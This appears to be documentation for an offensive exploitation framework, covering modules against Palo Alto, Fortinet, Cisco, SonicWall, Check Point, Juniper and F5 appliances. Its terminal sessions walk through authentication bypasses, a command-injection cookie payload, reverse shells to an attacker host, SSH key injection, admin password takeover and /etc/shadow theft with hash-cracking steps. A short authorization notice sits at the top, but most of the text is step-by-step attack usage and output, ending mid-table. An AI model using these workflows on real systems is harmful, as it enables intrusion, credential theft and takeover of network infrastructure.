Exploit Modules
Overview
Exploit modules target specific vulnerabilities in network devices and embedded systems. They cover unauthenticated RCE, authentication bypass, path traversal, information/credential disclosure, SQLi, command injection, firmware upload without verification, and post-exploitation privilege escalation.
Authorization required. Use only on systems you own or have explicit written permission to test.
Standard workflow
exf > use exploits/<category>/<vendor>/<module_name>
exf (ModuleName) > set target <ip>
exf (ModuleName) > set port <port> # if non-default
exf (ModuleName) > show options # review all options
exf (ModuleName) > check # optional: verify vulnerability
exf (ModuleName) > run # execute
exf (ModuleName) > shell # if a shell was obtained
Firewall / VPN appliance exploits
Palo Alto Networks (PAN-OS)
| Module | CVE | CVSS | Type |
|---|---|---|---|
exploits/firewalls/paloalto/globalprotect_auth_bypass_cve_2026_0257 | CVE-2026-0257 | 7.8 | GlobalProtect auth override cookie bypass (CISA KEV) |
exploits/firewalls/paloalto/globalprotect_cmd_injection_cve_2024_3400 | CVE-2024-3400 | 10.0 | GlobalProtect OS command injection (CISA KEV) |
exploits/firewalls/paloalto/panos_auth_bypass_cve_2025_0108 | CVE-2025-0108 | 9.1 | PAN-OS management interface authentication bypass |
exploits/firewalls/paloalto/panos_cas_auth_bypass_cve_2026_0265 | CVE-2026-0265 | 9.3 | PAN-OS Cloud Authentication Service auth bypass |
exploits/firewalls/paloalto/panos_dns_heap_rce_cve_2026_0264 | CVE-2026-0264 | 9.8 | PAN-OS DNS heap overflow RCE |
exploits/firewalls/paloalto/panos_mgmt_auth_bypass_cve_2024_0012 | CVE-2024-0012 | 9.3 | PAN-OS management web interface auth bypass |
exploits/firewalls/paloalto/panos_privesc_cve_2024_9474 | CVE-2024-9474 | 6.9 | PAN-OS privilege escalation (chained with CVE-2024-0012) |
exploits/firewalls/paloalto/panos_saml_auth_bypass_cve_2020_2021 | CVE-2020-2021 | 10.0 | PAN-OS SAML authentication bypass |
exploits/firewalls/paloalto/panos_userid_bof_rce_cve_2026_0300 | CVE-2026-0300 | 9.8 | PAN-OS User-ID agent buffer overflow RCE |
Options - globalprotect_auth_bypass_cve_2026_0257:
| Parameter | Type | Required | Default | Accepted values | Description |
|---|---|---|---|---|---|
target | OptIP | Yes | "" | IPv4 / hostname | PAN-OS firewall IP or hostname |
port | OptPort | No | 443 | 1-65535 | HTTPS port |
forge_user | OptString | No | admin | any string | Username to forge in auth-override cookie |
lhost | OptIP | No | "" | IPv4 | Attacker IP for reverse shell callback |
lport | OptPort | No | 4444 | 1-65535 | Attacker listener port |
shell_type | OptString | No | auto | auto, python, bash, cmd | Reverse shell payload type |
timeout | OptPort | No | 10 | seconds | Connection timeout |
ssl | OptBool | No | True | true/false | Use HTTPS |
Terminal session - CVE-2026-0257 check + run + shell:
exf > use exploits/firewalls/paloalto/globalprotect_auth_bypass_cve_2026_0257
exf (PAN-OS GlobalProtect Auth Override Cookie Bypass CVE-2026-0257) > set target 203.0.113.10
[+] target => 203.0.113.10
exf (PAN-OS GlobalProtect Auth Override Cookie Bypass CVE-2026-0257) > set forge_user admin
[+] forge_user => admin
exf (PAN-OS GlobalProtect Auth Override Cookie Bypass CVE-2026-0257) > set lhost 10.0.0.99
[+] lhost => 10.0.0.99
exf (PAN-OS GlobalProtect Auth Override Cookie Bypass CVE-2026-0257) > check
[*] Extracting RSA public key from TLS certificate at 203.0.113.10:443...
[*] Certificate subject: CN=firewall.corp.example
[+] Public key: 2048-bit RSA, SHA256 fingerprint: 3A:7F:B2:...
[*] Probing /ssl-vpn/prelogin.esp with forged cookie...
[+] Target is vulnerable - GlobalProtect accepted forged auth-override cookie
exf (PAN-OS GlobalProtect Auth Override Cookie Bypass CVE-2026-0257) > run
[*] Running module ...
[*] Extracting RSA public key from TLS certificate...
[+] Public key extracted (2048-bit RSA)
[*] Forging auth override cookie for user: admin
[*] Submitting cookie to /ssl-vpn/prelogin.esp...
[+] VPN session granted for user: admin
[*] Session metadata: {"username":"admin","domain":"corp.example","os":"Linux","client_ip":"10.0.0.99"}
[*] Shell staging (type: python) - listener on 0.0.0.0:4444
[+] Connection received from 203.0.113.10:51234
exf (PAN-OS GlobalProtect Auth Override Cookie Bypass CVE-2026-0257) > shell
[*] Upgrading to interactive session...
$ whoami
admin
$ id
uid=0(root) gid=0(root) groups=0(root)
$ uname -a
Linux pa-vm 5.10.195 #1 SMP Wed Feb 14 17:23:30 UTC 2024 x86_64 GNU/Linux
How CVE-2026-0257 works: GlobalProtect encrypts an identity blob (username;domain;client_os;host_id;timestamp;client_ip) with RSA-PKCS1v15 using the HTTPS TLS certificate public key. The module extracts the public key from the TLS handshake, forges a cookie for any username (default admin), and submits it to /ssl-vpn/prelogin.esp. The gpsvc daemon decrypts and trusts the username without signature verification. Patched in PAN-OS 12.1.7, 11.2.12, 11.1.15, 10.2.18-h6.
Options - globalprotect_cmd_injection_cve_2024_3400:
| Parameter | Type | Required | Default | Accepted values | Description |
|---|---|---|---|---|---|
target | OptIP | Yes | "" | IPv4 / hostname | Target firewall |
port | OptPort | No | 443 | 1-65535 | HTTPS port |
lhost | OptIP | No | "" | IPv4 | Attacker IP for reverse shell |
lport | OptPort | No | 4444 | 1-65535 | Attacker listener port |
command | OptString | No | id | any string | OS command to execute (single-stage check) |
timeout | OptPort | No | 15 | seconds | Request timeout |
Terminal session - CVE-2024-3400 (GlobalProtect OS command injection):
exf > use exploits/firewalls/paloalto/globalprotect_cmd_injection_cve_2024_3400
exf (PAN-OS GlobalProtect OS Command Injection CVE-2024-3400) > set target 198.51.100.5
[+] target => 198.51.100.5
exf (PAN-OS GlobalProtect OS Command Injection CVE-2024-3400) > set lhost 10.0.0.99
[+] lhost => 10.0.0.99
exf (PAN-OS GlobalProtect OS Command Injection CVE-2024-3400) > check
[*] Probing GlobalProtect gateway on 198.51.100.5:443...
[+] PAN-OS GlobalProtect detected (Server: PAN-OS/11.1.4)
[+] Target is vulnerable - version 11.1.4 < 11.1.2-h3 (fix boundary)
exf (PAN-OS GlobalProtect OS Command Injection CVE-2024-3400) > run
[*] Running module ...
[*] Stage 1: Creating telemetry session file via malicious SESSID cookie...
[+] Session cookie accepted: SESSID=../../../../opt/panlogs/tmp/device_telemetry/hour/cmd_$(id)
[*] Stage 2: Triggering execution via telemetry cron job (waiting up to 60s)...
[+] Telemetry cron fired - output received:
uid=0(root) gid=0(root) groups=0(root)
[*] Stage 3: Staging reverse shell to 10.0.0.99:4444...
[+] Reverse connection received!
$ id
uid=0(root) gid=0(root) groups=0(root)
Error cases:
exf (PAN-OS GlobalProtect OS Command Injection CVE-2024-3400) > check
[-] Target is not vulnerable - PAN-OS 11.1.2-h3 is patched (fix: >= 11.1.2-h3 / 11.0.4-h1 / 10.2.7-h8)
exf (PAN-OS GlobalProtect OS Command Injection CVE-2024-3400) > run
[*] Running module ...
[!] GlobalProtect gateway not detected at 198.51.100.5:443 - verify target and port
[*] Hint: CVE-2024-3400 requires GlobalProtect gateway or portal to be enabled
Fortinet
| Module | CVE | CVSS | Type |
|---|---|---|---|
exploits/firewalls/fortinet/fortios_auth_bypass_cve_2022_40684 | CVE-2022-40684 | 9.8 | FortiOS admin authentication bypass |
exploits/firewalls/fortinet/fortios_fortiproxy_ssh_inject_cve_2022_40684_v2 | CVE-2022-40684 | 9.8 | SSH key injection variant |
exploits/firewalls/fortinet/fortios_sslvpn_path_traversal_cve_2018_13379 | CVE-2018-13379 | 9.8 | FortiOS SSL-VPN path traversal (credentials) |
exploits/firewalls/fortinet/fortios_sslvpn_heap_rce_cve_2022_42475 | CVE-2022-42475 | 9.3 | FortiOS SSL-VPN heap overflow RCE |
exploits/firewalls/fortinet/fortios_sslvpn_rce_cve_2024_21762 | CVE-2024-21762 | 9.6 | FortiOS SSL-VPN out-of-bounds write RCE |
exploits/firewalls/fortinet/fortios_websocket_auth_bypass_cve_2024_55591 | CVE-2024-55591 | 9.6 | FortiOS WebSocket CSF proxy auth bypass |
exploits/firewalls/fortinet/fortiswitch_unauth_passwd_cve_2024_48887 | CVE-2024-48887 | 9.3 | FortiSwitch unauthenticated password change |
exploits/firewalls/fortinet/fortios_sslvpn_session_reuse_cve_2024_50562 | CVE-2024-50562 | 8.1 | FortiOS SSL-VPN session token reuse |
exploits/firewalls/fortinet/fortios_oob_write_rce_cve_2025_53844 | CVE-2025-53844 | 9.8 | FortiOS out-of-bounds write RCE |
exploits/firewalls/fortinet/fortios_heap_overflow_rce_cve_2026_25249 | CVE-2026-25249 | 9.8 | FortiOS HTTPS daemon heap overflow RCE |
exploits/firewalls/fortinet/forticlient_ems_preauth_rce_cve_2026_35616 | CVE-2026-35616 | 9.8 | FortiClient EMS pre-auth RCE |
exploits/firewalls/fortinet/forticlientems_sqli_rce_cve_2023_48788 | CVE-2023-48788 | 9.8 | FortiClientEMS SQLi -> RCE |
exploits/firewalls/fortinet/fortimanager_fortijump_cve_2024_47575 | CVE-2024-47575 | 9.8 | FortiManager FortiJump unauthenticated RCE |
exploits/firewalls/fortinet/fortigate_os_backdoor | - | Critical | FortiGate hidden management account backdoor |
exploits/firewalls/fortinet/forticloud_sso_auth_bypass_cve_2026_24858 | CVE-2026-24858 | 9.1 | FortiCloud SSO authentication bypass |
exploits/firewalls/fortinet/fortios_heap_overflow_rce_cve_2023_27997 | CVE-2023-27997 | 9.8 | FortiOS SSL-VPN heap overflow (XORtigate) |
exploits/firewalls/fortinet/fortiweb/ | various | - | FortiWeb WAF (sub-directory) |
Options - fortios_auth_bypass_cve_2022_40684:
| Parameter | Type | Required | Default | Accepted values | Description |
|---|---|---|---|---|---|
target | OptIP | Yes | "" | IPv4 / hostname | FortiGate IP or hostname |
port | OptPort | No | 443 | 1-65535 | HTTPS management port |
ssl | OptBool | No | True | true/false | Use HTTPS |
username | OptString | No | admin | any string | Admin username to create/modify |
new_password | OptString | No | EmbedXPL_pwn3d | any string | New password to set |
shell_type | OptString | No | auto | auto, python, bash | Shell staging type |
lhost | OptIP | No | "" | IPv4 | Attacker IP |
lport | OptPort | No | 4444 | 1-65535 | Attacker listener port |
timeout | OptPort | No | 10 | seconds | Request timeout |
Terminal session - CVE-2022-40684 check + run + shell:
exf > use exploits/firewalls/fortinet/fortios_auth_bypass_cve_2022_40684
exf (FortiOS Auth Bypass CVE-2022-40684) > set target 10.0.0.5
[+] target => 10.0.0.5
exf (FortiOS Auth Bypass CVE-2022-40684) > show options
Target options:
┌──────────────┬────────────────────┬──────────────────────────────────────────────┐
│ Name │ Current settings │ Description │
├──────────────┼────────────────────┼──────────────────────────────────────────────┤
│ target │ 10.0.0.5 │ FortiGate IP or hostname │
│ port │ 443 │ HTTPS management port │
│ ssl │ True │ Use HTTPS │
│ username │ admin │ Admin username to create/modify │
│ new_password │ EmbedXPL_pwn3d │ New password to set │
│ shell_type │ auto │ Shell staging type │
│ lhost │ │ Attacker IP │
│ lport │ 4444 │ Attacker listener port │
│ timeout │ 10 │ Request timeout │
└──────────────┴────────────────────┴──────────────────────────────────────────────┘
exf (FortiOS Auth Bypass CVE-2022-40684) > check
[*] Probing FortiGate at 10.0.0.5:443...
[*] Testing auth bypass with 'Forwarded: for="[127.0.0.1]";by="[127.0.0.1]"' header...
[+] Target is vulnerable - /api/v2/cmdb/system/admin returned 200 without auth
exf (FortiOS Auth Bypass CVE-2022-40684) > run
[*] Running module ...
[*] FortiOS at 10.0.0.5:443 - auth bypass phase 1
[+] Bypass active using 'Forwarded: for="[127.0.0.1]";by="[127.0.0.1]"' header variant
[*] Phase 2 - admin accounts dump via /api/v2/cmdb/system/admin...
[+] Admin accounts: [{"name":"admin","type":"super_admin","email":""},{"name":"monitor","type":"guest_admin"}]
[*] Phase 3 - system info...
[+] Device: FortiGate-60F, FortiOS v7.0.6 (build 0366)
[*] Phase 4 - VPN user dump via /api/v2/cmdb/vpn.ssl/settings...
[+] VPN users: [{"name":"vpnuser1","passwd":"<hash>"},{"name":"vpnuser2","passwd":"<hash>"}]
[*] Phase 5 - SSH key injection for admin...
[+] SSH key written to admin account
[*] Phase 6 - Shell staging (type: auto)...
[+] Shell callback received from 10.0.0.5:43210
exf (FortiOS Auth Bypass CVE-2022-40684) > shell
$ id
uid=0(root) gid=0(root)
$ cat /etc/passwd | head -3
admin:x:0:0::/root:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/false
Options - fortiswitch_unauth_passwd_cve_2024_48887:
| Parameter | Type | Required | Default | Accepted values | Description |
|---|---|---|---|---|---|
target | OptIP | Yes | "" | IPv4 | FortiSwitch management IP |
port | OptPort | No | 443 | 1-65535 | HTTPS port |
username | OptString | No | admin | any string | Account to take over |
new_password | OptString | No | Pwn3d@EmbedXPL | any string | New password to set |
timeout | OptPort | No | 10 | seconds | Request timeout |
Terminal session - CVE-2024-48887 (FortiSwitch unauthenticated password change):
exf > use exploits/firewalls/fortinet/fortiswitch_unauth_passwd_cve_2024_48887
exf (FortiSwitch Unauthenticated Password Change CVE-2024-48887) > set target 10.1.1.50
[+] target => 10.1.1.50
exf (FortiSwitch Unauthenticated Password Change CVE-2024-48887) > set username admin
[+] username => admin
exf (FortiSwitch Unauthenticated Password Change CVE-2024-48887) > set new_password Pwn3d@FortiSwitch
[+] new_password => Pwn3d@FortiSwitch
exf (FortiSwitch Unauthenticated Password Change CVE-2024-48887) > check
[*] Probing FortiSwitch at 10.1.1.50:443...
[+] FortiSwitch GUI detected (build 0524, FortiSwitchOS 7.4.3)
[+] Target is vulnerable - unauthenticated /api/v2/cmdb/system/admin accessible
exf (FortiSwitch Unauthenticated Password Change CVE-2024-48887) > run
[*] Running module ...
[*] Sending unauthenticated PATCH /api/v2/cmdb/system/admin/admin...
[+] HTTP 200: Password for 'admin' changed successfully
[+] Verify: curl -sk -u admin:Pwn3d@FortiSwitch https://10.1.1.50/api/v2/cmdb/system/global
[+] CVE-2024-48887 confirmed - FortiSwitch admin account taken over at 10.1.1.50
Error cases - Fortinet modules:
exf (FortiOS Auth Bypass CVE-2022-40684) > check
[-] Target is not vulnerable - /api/v2/cmdb/system/admin returned 401 (patched or not FortiOS)
[!] HTTP connection error to 10.0.0.5:443: Connection refused
[!] Hint: Verify target IP and that HTTPS management is reachable on port 443
Cisco Firewalls / ASA / FMC / SD-WAN
| Module | CVE | CVSS | Type |
|---|---|---|---|
exploits/firewalls/cisco/cisco_sdwan_dtls_auth_bypass_cve_2026_20182 | CVE-2026-20182 | 10.0 | SD-WAN Manager DTLS auth bypass + SSH key injection |
exploits/firewalls/cisco/cisco_fmc_auth_bypass_rce_cve_2026_20079 | CVE-2026-20079 | 9.8 | Firepower Management Center auth bypass + RCE |
exploits/firewalls/cisco/asa_ftd_path_traversal_cve_2020_3452 | CVE-2020-3452 | 7.5 | ASA/FTD path traversal (config/credentials) |
exploits/firewalls/cisco/asa_vpn_bruteforce_cve_2023_20269 | CVE-2023-20269 | 9.8 | ASA/FTD SSL-VPN credential brute-force |
exploits/firewalls/cisco/cisco_asa_ftd_firestarter_chain_cve_2025_20362_20333 | CVE-2025-20362 + CVE-2025-20333 | 10.0 | FireStarter chain: auth bypass + heap RCE |
exploits/firewalls/cisco/firepower_management60_path_traversal | - | High | FMC 6.x path traversal |
exploits/firewalls/cisco/firepower_management60_rce | - | Critical | FMC 6.x RCE |
exploits/firewalls/cisco/ios_xe_webui_privesc_cve_2023_20198 | CVE-2023-20198 | 10.0 | IOS XE WebUI privilege escalation (CISA KEV) |
exploits/firewalls/cisco/isa3000_asa_rce_cve_2018_0101 | CVE-2018-0101 | 10.0 | ISA3000/ASA IKEv1/IKEv2 heap overflow RCE |
exploits/firewalls/cisco/ucm_info_disclosure | - | High | UCM information disclosure |
exploits/firewalls/cisco/ucs_manager_rce | - | Critical | UCS Manager RCE |
exploits/firewalls/cisco/unified_multi_path_traversal | - | High | Cisco Unified products path traversal |
Options - cisco_sdwan_dtls_auth_bypass_cve_2026_20182:
| Parameter | Type | Required | Default | Accepted values | Description |
|---|---|---|---|---|---|
target | OptIP | Yes | "" | IPv4 / hostname | Cisco SD-WAN Manager (vManage) IP |
port | OptPort | No | 443 | 1-65535 | HTTPS port for vManage REST API fingerprinting |
ssl | OptBool | No | True | true/false | Use HTTPS for fingerprinting |
dtls_port | OptPort | No | 12346 | 1-65535 | vdaemon DTLS UDP port |
timeout | OptPort | No | 8 | seconds | Connection timeout |
ssh_pubkey | OptString | No | (placeholder) | RSA/ECDSA key string | SSH public key to inject into /home/admin/.ssh/authorized_keys |
ssh_port | OptPort | No | 22 | 1-65535 | SSH port for post-exploitation verification |
verify_ssh | OptBool | No | True | true/false | Attempt SSH after key injection to verify access |
Terminal session - CVE-2026-20182 (SD-WAN DTLS bypass, CVSS 10.0):
exf > use exploits/firewalls/cisco/cisco_sdwan_dtls_auth_bypass_cve_2026_20182
exf (Cisco Catalyst SD-WAN Manager DTLS Auth Bypass CVE-2026-20182) > set target 172.16.100.10
[+] target => 172.16.100.10
exf (Cisco Catalyst SD-WAN Manager DTLS Auth Bypass CVE-2026-20182) > set ssh_pubkey "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAB..."
[+] ssh_pubkey => ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAB...
exf (Cisco Catalyst SD-WAN Manager DTLS Auth Bypass CVE-2026-20182) > check
[*] [CVE-2026-20182] Probing vManage REST API at 172.16.100.10:443...
[*] [CVE-2026-20182] Cisco SD-WAN Manager (vManage) detected at 172.16.100.10
[*] [CVE-2026-20182] Probing UDP/12346 for vdaemon DTLS service...
[+] [CVE-2026-20182] vdaemon DTLS service responding on UDP/12346 -- LIKELY VULNERABLE
[+] Target is vulnerable
exf (Cisco Catalyst SD-WAN Manager DTLS Auth Bypass CVE-2026-20182) > run
[*] Running module ...
[*] [CVE-2026-20182] Targeting Cisco SD-WAN Manager at 172.16.100.10
[*] [CVE-2026-20182] Mechanism: DTLS CHALLENGE_ACK device_type=2 bypass -> SSH key injection
[*] [CVE-2026-20182] DTLS control-plane port: UDP/12346
[*] [CVE-2026-20182] Stage 2 - Initiating DTLS session on UDP/12346...
[+] [CVE-2026-20182] DTLS HelloVerifyRequest received -- cookie=28 bytes
[+] [CVE-2026-20182] DTLS handshake phase 2 accepted
[+] [CVE-2026-20182] vdaemon CHALLENGE received -- session_id=0x4a2f1b3c
[+] [CVE-2026-20182] DTLS transport layer established (session_id=0x4a2f1b3c)
[*] [CVE-2026-20182] Stage 3 - Sending CHALLENGE_ACK with device_type=2 (vHub bypass)...
[+] [CVE-2026-20182] BYPASS CONFIRMED -- vdaemon accepted CHALLENGE_ACK (device_type=vHub)!
[*] [CVE-2026-20182] Stage 4 - Sending MSG_HELLO to complete peer registration...
[+] [CVE-2026-20182] MSG_HELLO sent -- control-plane session established
[*] [CVE-2026-20182] Stage 5 - Injecting SSH public key via MSG_VMANAGE_TO_PEER...
[*] [CVE-2026-20182] Target path: /home/admin/.ssh/authorized_keys
[+] [CVE-2026-20182] vdaemon acknowledged SSH key injection!
[+] [CVE-2026-20182] SSH key injection sent to 172.16.100.10:/home/admin/.ssh/authorized_keys
[*] [CVE-2026-20182] Stage 6 - Verifying SSH access on 172.16.100.10:22...
[+] [CVE-2026-20182] SSH banner received on port 22 -- shell access available!
[+] [CVE-2026-20182] Connect: ssh admin@172.16.100.10 -p 22
[*] [CVE-2026-20182] Remediation:
Patch: SD-WAN Manager 20.6.7.4+ / 20.9.5+ / 20.12.4+
Workaround: Block UDP/12346 from untrusted networks
Advisory: https://sec.cloudapps.cisco.com/security/center/content/...
exf (Cisco Catalyst SD-WAN Manager DTLS Auth Bypass CVE-2026-20182) > shell
$ ssh admin@172.16.100.10
Last login: Sun Jun 1 10:22:47 2026 from 10.0.0.99
admin@vmanage:~$ id
uid=1001(admin) gid=1001(admin) groups=1001(admin)
admin@vmanage:~$ sudo -l
(ALL) NOPASSWD: ALL
Options - asa_ftd_path_traversal_cve_2020_3452:
| Parameter | Type | Required | Default | Accepted values | Description |
|---|---|---|---|---|---|
target | OptIP | Yes | "" | IPv4 / hostname | Cisco ASA or FTD IP |
port | OptPort | No | 443 | 1-65535 | HTTPS port |
path | OptString | No | /+CSCOU+/../+CSCOE+/files/doctor/ | path string | Override traversal path prefix |
file | OptString | No | session.log | filename | Target file name to retrieve |
timeout | OptPort | No | 10 | seconds | Request timeout |
Terminal session - CVE-2020-3452 (ASA/FTD path traversal):
exf > use exploits/firewalls/cisco/asa_ftd_path_traversal_cve_2020_3452
exf (Cisco ASA/FTD Path Traversal CVE-2020-3452) > set target 10.10.10.1
[+] target => 10.10.10.1
exf (Cisco ASA/FTD Path Traversal CVE-2020-3452) > check
[*] Probing /+CSCOU+/../+CSCOE+/files/doctor/session.log at 10.10.10.1:443...
[+] Target is vulnerable - traversal path accessible without authentication
exf (Cisco ASA/FTD Path Traversal CVE-2020-3452) > run
[*] Running module ...
[+] File: /+CSCOU+/../+CSCOE+/files/doctor/session.log
[+] Content (first 512 bytes):
session_id=AAAAABBBBCCCC; username=vpnadmin; group=Full-Access-VPN
session_id=1122334455667; username=john.doe; group=Remote-Access
[+] VPN session tokens and usernames retrieved from 10.10.10.1
[*] Try also: file=certificates.xml, file=asa_version.xml for additional disclosure
Error cases:
exf (Cisco ASA/FTD Path Traversal CVE-2020-3452) > check
[-] Target is not vulnerable - HTTP 403 response (ASA patched or WebVPN not enabled)
exf (Cisco Catalyst SD-WAN Manager DTLS Auth Bypass CVE-2026-20182) > run
[*] [CVE-2026-20182] No response to DTLS ClientHello on UDP/12346 -- target unreachable or port blocked
[*] [CVE-2026-20182] Remediation: Block UDP/12346 from untrusted networks at perimeter firewall
SonicWall
| Module | CVE | CVSS | Type |
|---|---|---|---|
exploits/firewalls/sonicwall/sonicos_sslvpn_auth_bypass_cve_2024_53704 | CVE-2024-53704 | 9.8 | SonicOS SSL-VPN improper authentication bypass |
exploits/firewalls/sonicwall/sonicos_sslvpn_auth_bypass_cve_2024_53700 | CVE-2024-53700 | 9.8 | SonicOS SSL-VPN session hijack |
exploits/firewalls/sonicwall/sonicos_sslvpn_access_cve_2024_40766 | CVE-2024-40766 | 9.3 | SonicOS improper access control |
exploits/firewalls/sonicwall/sma_password_reset_cve_2021_20034 | CVE-2021-20034 | 9.8 | SMA100 unauthenticated arbitrary file delete -> password reset |
exploits/firewalls/sonicwall/sma100_sqli_cve_2021_20016 | CVE-2021-20016 | 9.8 | SMA100 unauthenticated SQLi |
exploits/firewalls/sonicwall/sonicos_vpn_buffer_overflow_cve_2020_5135 | CVE-2020-5135 | 9.8 | SonicOS VPN buffer overflow |
exploits/firewalls/sonicwall/sslvpn_shellshock_rce_visualdoor | - | 9.8 | SonicWall SMA Shellshock RCE (VisualDoor) |
Options - sonicos_sslvpn_auth_bypass_cve_2024_53704:
| Parameter | Type | Required | Default | Accepted values | Description |
|---|---|---|---|---|---|
target | OptIP | Yes | "" | IPv4 / hostname | SonicWall firewall IP |
port | OptPort | No | 443 | 1-65535 | HTTPS port |
steal_session | OptBool | No | True | true/false | Attempt to hijack an active SSL-VPN session |
timeout | OptPort | No | 10 | seconds | Request timeout |
Terminal session - CVE-2024-53704 (SonicOS SSL-VPN auth bypass):
exf > use exploits/firewalls/sonicwall/sonicos_sslvpn_auth_bypass_cve_2024_53704
exf (SonicOS SSL-VPN Auth Bypass CVE-2024-53704) > set target 198.51.100.20
[+] target => 198.51.100.20
exf (SonicOS SSL-VPN Auth Bypass CVE-2024-53704) > check
[*] Probing SonicOS at 198.51.100.20:443...
[+] SonicOS detected (SonicWall TZ370, SonicOS 7.0.1-5095)
[+] Target is vulnerable - SonicOS 7.0.1-5095 < 7.0.1-5165 (fix boundary)
exf (SonicOS SSL-VPN Auth Bypass CVE-2024-53704) > run
[*] Running module ...
[*] Stage 1: Sending malformed SSL-VPN authentication request...
[+] HTTP 302 redirect with Set-Cookie: SslSessionId=SSLO_A1B2C3D4E5F6...
[*] Stage 2: Testing session cookie against /api/sonicos/vpn/ssl/client-routes...
[+] Authentication bypassed - SSL-VPN client routes accessible without credentials
[+] Routes: 10.0.0.0/8, 192.168.1.0/24
[+] Internal DNS: 10.0.0.1, Active Directory: 10.0.0.10
[+] CVE-2024-53704: SonicOS SSL-VPN session established as anonymous user at 198.51.100.20
Check Point
| Module | CVE | CVSS | Type |
|---|---|---|---|
exploits/firewalls/checkpoint/checkpoint_vpn_lfi_chain_cve_2024_24919 | CVE-2024-24919 | 8.6 | Check Point VPN arbitrary file read chain |
exploits/firewalls/checkpoint/security_gateway_info_disclosure_cve_2024_24919 | CVE-2024-24919 | 8.6 | Security Gateway information disclosure variant |
exploits/firewalls/checkpoint/checkpoint_remote_code_exec_cve_2023_28461 | CVE-2023-28461 | 9.8 | Check Point Quantum Security Gateway RCE |
exploits/firewalls/checkpoint/endpoint_security_privesc_cve_2019_8461 | CVE-2019-8461 | 7.8 | Check Point Endpoint Security privilege escalation |
Options - checkpoint_vpn_lfi_chain_cve_2024_24919:
| Parameter | Type | Required | Default | Accepted values | Description |
|---|---|---|---|---|---|
target | OptIP | Yes | "" | IPv4 / hostname | Check Point gateway IP |
port | OptPort | No | 443 | 1-65535 | HTTPS port |
read_file | OptString | No | /etc/passwd | absolute path | File to read via path traversal |
timeout | OptPort | No | 10 | seconds | Request timeout |
Terminal session - CVE-2024-24919 (Check Point VPN file read):
exf > use exploits/firewalls/checkpoint/checkpoint_vpn_lfi_chain_cve_2024_24919
exf (Check Point VPN LFI Chain CVE-2024-24919) > set target 203.0.113.50
[+] target => 203.0.113.50
exf (Check Point VPN LFI Chain CVE-2024-24919) > set read_file /etc/shadow
[+] read_file => /etc/shadow
exf (Check Point VPN LFI Chain CVE-2024-24919) > check
[*] Probing Check Point Security Gateway at 203.0.113.50:443...
[+] Check Point Quantum Security Gateway detected (R81.10)
[+] Target is vulnerable - unauthenticated file read via /clients/MyCRL endpoint
exf (Check Point VPN LFI Chain CVE-2024-24919) > run
[*] Running module ...
[*] Stage 1: Sending unauthenticated LFI request to /clients/MyCRL...
[+] Response: HTTP 200 - file content returned
[+] /etc/shadow contents:
root:$6$Q9pNWXzH$7jLxKvQ8c3wDt8.../wtqB.:19400:0:99999:7:::
admin:$6$7XqLcZr1$8mKpQR4sT3vWy9.../uPzA.:19400:0:99999:7:::
[+] Crack hashes offline: hashcat -m 1800 hashes.txt wordlist.txt
[*] Stage 2: Chaining to credential reuse on management interface...
[+] CVE-2024-24919 confirmed - Check Point VPN arbitrary file read at 203.0.113.50
Juniper Networks
| Module | CVE | CVSS | Type |
|---|---|---|---|
exploits/firewalls/juniper/juniper_srx_file_upload_rce_cve_2023_36851 | CVE-2023-36851 | 5.3 | Juniper SRX file upload (no auth) |
exploits/firewalls/juniper/juniper_srx_unauth_rce_cve_2025_21590 | CVE-2025-21590 | 9.8 | Juniper SRX unauthenticated RCE |
exploits/firewalls/juniper/jweb_oob_write_rce_cve_2024_21591 | CVE-2024-21591 | 9.8 | J-Web out-of-bounds write RCE |
exploits/firewalls/juniper/jweb_php_rce_cve_2023_36845 | CVE-2023-36845 | 9.8 | J-Web PHP env manipulation RCE (chained with CVE-2023-36851) |
Options - jweb_php_rce_cve_2023_36845:
| Parameter | Type | Required | Default | Accepted values | Description |
|---|---|---|---|---|---|
target | OptIP | Yes | "" | IPv4 / hostname | Juniper SRX / EX switch IP |
port | OptPort | No | 8080 | 1-65535 | J-Web HTTP port |
ssl | OptBool | No | False | true/false | Use HTTPS |
command | OptString | No | id | any string | OS command to execute |
lhost | OptIP | No | "" | IPv4 | Reverse shell listener IP |
lport | OptPort | No | 4444 | 1-65535 | Reverse shell listener port |
timeout | OptPort | No | 10 | seconds | Request timeout |
Terminal session - CVE-2023-36845 + CVE-2023-36851 chain (Juniper J-Web RCE):
exf > use exploits/firewalls/juniper/jweb_php_rce_cve_2023_36845
exf (Juniper J-Web PHP Env RCE CVE-2023-36845) > set target 10.0.5.1
[+] target => 10.0.5.1
exf (Juniper J-Web PHP Env Manipulation RCE CVE-2023-36845) > set lhost 10.0.0.99
[+] lhost => 10.0.0.99
exf (Juniper J-Web PHP Env Manipulation RCE CVE-2023-36845) > check
[*] Probing Juniper J-Web at 10.0.5.1:8080...
[+] Juniper Junos 21.2R3-S3 detected (SRX300 series)
[+] Target is vulnerable - Junos < 20.4R3-S8 / 21.2R3-S6 / 21.4R3-S5 / 22.1R3-S3
exf (Juniper J-Web PHP Env Manipulation RCE CVE-2023-36845) > run
[*] Running module ...
[*] Stage 1 (CVE-2023-36851): Uploading PHP stager via unauthenticated file upload endpoint...
[+] Stager uploaded to /tmp/.jw_stager.php
[*] Stage 2 (CVE-2023-36845): Manipulating PHPRC environment variable via /webauth_operation...
[+] PHP configuration override accepted - executing stager...
[+] RCE confirmed:
uid=0(root) gid=0(root) groups=0(root)
[*] Stage 3: Reverse shell staged to 10.0.0.99:4444
[+] Shell connection established!
$ hostname
srx300-edge
F5 Networks
| Module | CVE | CVSS | Type |
|---|---|---|---|
exploits/firewalls/lb/a10/ | various | - | A10 Networks load balancer exploits |
exploits/firewalls/lb/f5/ | various | - | F5 BIG-IP/BIG-IQ exploits (LB sub-tree) |
exploits/appliances/f5/bigip_icontrol_rest_rce_cve_2022_1388 | CVE-2022-1388 | 9.8 | F5 BIG-IP iControl REST unauthenticated RCE |
exploits/appliances/f5/bigip_bigiq_icontrol_rce_cve_2021_22986 | CVE-2021-22986 | 9.8 | F5 BIG-IQ iControl REST unauthenticated RCE |
Options - bigip_icontrol_rest_rce_cve_2022_1388:
| Parameter | Type | Required | Default | Accepted values | Description |
|---|---|---|---|---|---|
target | OptIP | Yes | "" | IPv4 / hostname | F5 BIG-IP management IP |
port | OptPort | No | 443 | 1-65535 | iControl REST HTTPS port |
command | OptString | No | id | any string | OS command to execute |
lhost | OptIP | No | "" | IPv4 | Attacker IP for reverse shell |
